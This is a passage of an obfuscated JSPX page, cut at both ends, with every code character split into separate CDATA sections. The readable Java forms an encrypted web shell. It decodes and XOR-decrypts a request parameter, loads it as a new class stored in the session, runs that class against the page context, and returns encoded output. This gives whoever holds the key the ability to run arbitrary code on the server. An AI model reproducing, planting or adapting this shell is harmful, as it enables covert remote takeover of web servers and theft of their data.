]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[s]]><![CDATA[u]]><![CDATA[n]]><![CDATA[.]]><![CDATA[m]]><![CDATA[i]]><![CDATA[s]]><![CDATA[c]]><![CDATA[.]]><![CDATA[B]]><![CDATA[A]]><![CDATA[S]]><![CDATA[E]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[)]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[e]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[2]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[p]]><![CDATA[u]]><![CDATA[b]]><![CDATA[l]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[t]]><![CDATA[i]]><![CDATA[c]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[t]]><![CDATA[h]]><![CDATA[r]]><![CDATA[o]]><![CDATA[w]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[;]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[;]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[u]]><![CDATA[t]]><![CDATA[i]]><![CDATA[l]]><![CDATA[.]]><![CDATA[B]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[;]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[)]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[=]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[.]]><![CDATA[f]]><![CDATA[o]]><![CDATA[r]]><![CDATA[N]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[s]]><![CDATA[u]]><![CDATA[n]]><![CDATA[.]]><![CDATA[m]]><![CDATA[i]]><![CDATA[s]]><![CDATA[c]]><![CDATA[.]]><![CDATA[B]]><![CDATA[A]]><![CDATA[S]]><![CDATA[E]]><![CDATA[6]]><![CDATA[4]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[ ]]><![CDATA[=]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[)]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[M]]><![CDATA[e]]><![CDATA[t]]><![CDATA[h]]><![CDATA[o]]><![CDATA[d]]><![CDATA[(]]><![CDATA["]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[B]]><![CDATA[u]]><![CDATA[f]]><![CDATA[f]]><![CDATA[e]]><![CDATA[r]]><![CDATA["]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[.]]><![CDATA[c]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[.]]><![CDATA[i]]><![CDATA[n]]><![CDATA[v]]><![CDATA[o]]><![CDATA[k]]><![CDATA[e]]><![CDATA[(]]><![CDATA[d]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[ ]]><![CDATA[b]]><![CDATA[s]]><![CDATA[ ]]><![CDATA[}]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[ ]]><![CDATA[c]]><![CDATA[a]]><![CDATA[t]]><![CDATA[c]]><![CDATA[h]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[E]]><![CDATA[x]]><![CDATA[c]]><![CDATA[e]]><![CDATA[p]]><![CDATA[t]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[e]]><![CDATA[2]]><![CDATA[)]]><![CDATA[ ]]><![CDATA[{]]><![CDATA[}]]><![CDATA[}]]><![CDATA[r]]><![CDATA[e]]><![CDATA[t]]><![CDATA[u]]><![CDATA[r]]><![CDATA[n]]><![CDATA[ ]]><![CDATA[v]]><![CDATA[a]]><![CDATA[l]]><![CDATA[u]]><![CDATA[e]]><![CDATA[;]]><![CDATA[ ]]><![CDATA[}]]></jsp:declaration><jsp:scriptlet><![CDATA[t]]><![CDATA[r]]><![CDATA[y]]><![CDATA[{]]><![CDATA[b]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[[]]><![CDATA[]]]><![CDATA[ ]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[=]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[D]]><![CDATA[e]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[r]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[P]]><![CDATA[a]]><![CDATA[r]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[=]]><![CDATA[x]]><![CDATA[(]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[,]]><![CDATA[ ]]><![CDATA[f]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[e]]><![CDATA[)]]><![CDATA[;]]><![CDATA[i]]><![CDATA[f]]><![CDATA[ ]]><![CDATA[(]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["]]><![CDATA[)]]><![CDATA[=]]><![CDATA[=]]><![CDATA[n]]><![CDATA[u]]><![CDATA[l]]><![CDATA[l]]><![CDATA[)]]><![CDATA[{]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["]]><![CDATA[,]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[X]]><![CDATA[(]]><![CDATA[t]]><![CDATA[h]]><![CDATA[i]]><![CDATA[s]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[L]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[Q]]><![CDATA[(]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[}]]><![CDATA[e]]><![CDATA[l]]><![CDATA[s]]><![CDATA[e]]><![CDATA[{]]><![CDATA[r]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[e]]><![CDATA[s]]><![CDATA[t]]><![CDATA[.]]><![CDATA[s]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[r]]><![CDATA[a]]><![CDATA[m]]><![CDATA[e]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[s]]><![CDATA["]]><![CDATA[,]]><![CDATA[d]]><![CDATA[a]]><![CDATA[t]]><![CDATA[a]]><![CDATA[)]]><![CDATA[;]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[i]]><![CDATA[o]]><![CDATA[.]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[p]]><![CDATA[u]]><![CDATA[t]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[e]]><![CDATA[a]]><![CDATA[m]]><![CDATA[ ]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[=]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[ ]]><![CDATA[j]]><![CDATA[a]]><![CDATA[v]]><![CDATA[a]]><![CDATA[.]]><![CDATA[i]]><![CDATA[o]]><![CDATA[.]]><![CDATA[B]]><![CDATA[y]]><![CDATA[t]]><![CDATA[e]]><![CDATA[A]]><![CDATA[r]]><![CDATA[r]]><![CDATA[a]]><![CDATA[y]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[p]]><![CDATA[u]]><![CDATA[t]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[e]]><![CDATA[a]]><![CDATA[m]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[O]]><![CDATA[b]]><![CDATA[j]]><![CDATA[e]]><![CDATA[c]]><![CDATA[t]]><![CDATA[ ]]><![CDATA[f]]><![CDATA[=]]><![CDATA[(]]><![CDATA[(]]><![CDATA[C]]><![CDATA[l]]><![CDATA[a]]><![CDATA[s]]><![CDATA[s]]><![CDATA[)]]><![CDATA[s]]><![CDATA[e]]><![CDATA[s]]><![CDATA[s]]><![CDATA[i]]><![CDATA[o]]><![CDATA[n]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[A]]><![CDATA[t]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[b]]><![CDATA[u]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA["]]><![CDATA[p]]><![CDATA[a]]><![CDATA[y]]><![CDATA[l]]><![CDATA[o]]><![CDATA[a]]><![CDATA[d]]><![CDATA["]]><![CDATA[)]]><![CDATA[)]]><![CDATA[.]]><![CDATA[n]]><![CDATA[e]]><![CDATA[w]]><![CDATA[I]]><![CDATA[n]]><![CDATA[s]]><![CDATA[t]]><![CDATA[a]]><![CDATA[n]]><![CDATA[c]]><![CDATA[e]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[(]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[e]]><![CDATA[q]]><![CDATA[u]]><![CDATA[a]]><![CDATA[l]]><![CDATA[s]]><![CDATA[(]]><![CDATA[p]]><![CDATA[a]]><![CDATA[g]]><![CDATA[e]]><![CDATA[C]]><![CDATA[o]]><![CDATA[n]]><![CDATA[t]]><![CDATA[e]]><![CDATA[x]]><![CDATA[t]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[m]]><![CDATA[d]]><![CDATA[5]]><![CDATA[.]]><![CDATA[s]]><![CDATA[u]]><![CDATA[b]]><![CDATA[s]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[0]]><![CDATA[,]]><![CDATA[1]]><![CDATA[6]]><![CDATA[)]]><![CDATA[)]]><![CDATA[;]]><![CDATA[f]]><![CDATA[.]]><![CDATA[t]]><![CDATA[o]]><![CDATA[S]]><![CDATA[t]]><![CDATA[r]]><![CDATA[i]]><![CDATA[n]]><![CDATA[g]]><![CDATA[(]]><![CDATA[)]]><![CDATA[;]]><![CDATA[r]]><![CDATA[e]]><![CDATA[s]]><![CDATA[p]]><![CDATA[o]]><![CDATA[n]]><![CDATA[s]]><![CDATA[e]]><![CDATA[.]]><![CDATA[g]]><![CDATA[e]]><![CDATA[t]]><![CDATA[W]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[r]]><![CDATA[(]]><![CDATA[)]]><![CDATA[.]]><![CDATA[w]]><![CDATA[r]]><![CDATA[i]]><![CDATA[t]]><![CDATA[e]]><![CDATA[(]]><![CDATA[b]]><![CDATA[a]]><![CDATA[s]]><![CDATA[e]]><![CDATA[6]]><![CDATA[4]]><![CDATA[E]]><![CDATA[n]]><![CDATA[c]]><![CDATA[o]]><![CDATA[d]]><![CDATA[e]]><![CDATA[(]]><![CDATA[x]]><![CDATA[(]]><![CDATA[a]]><![CDATA[r]]><![CDATA[r]]><![CDATA[O]]><![CDATA[u]]><![CDATA[t]]><![CDATA[.]]><![CDATA[t]]